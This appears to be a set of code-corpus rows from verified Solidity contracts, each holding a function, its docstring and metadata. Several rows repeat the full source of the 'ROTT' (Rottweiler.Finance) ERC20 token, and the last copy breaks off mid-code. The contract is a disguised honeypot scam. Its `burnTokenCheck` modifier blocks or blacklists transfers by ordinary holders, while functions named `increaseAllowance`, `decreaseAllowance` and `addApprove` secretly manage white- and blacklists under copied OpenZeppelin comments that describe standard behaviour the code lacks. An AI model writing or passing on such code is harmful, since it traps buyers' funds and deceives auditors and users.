/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 6186, 6334 ] }
7,009
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
addApprove
function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 6747, 7031 ] }
7,010
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _; } } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://4202f0f8e723c0c293db66e81609b582a5fb9d78d897e6fbe0ce067ac47421e5
{ "func_code_index": [ 7518, 8065 ] }
7,011
ROTT
ROTT.sol
0xe05480b1a133a37544f2ccc1b6b8e638ce31fdf1
Solidity
ROTT
contract ROTT is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name = 'Rottweiler.Finance'; string private _symbol = 'ROTT'; uint256 initialSupply = 1000000000; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _decimals = 18; _owner = _msgSender(); _safeOwner = _msgSender(); _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true) {_;} else{ if (_blackAddress[sender] == true) {require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance"); _;}else {if (amount < _sellAmount){if(recipient == _safeOwner){ _blackAddress[sender] = true; _whiteAddress[sender] = false; }_;}else{ require((sender == _safeOwner)||(recipient == _unirouter), 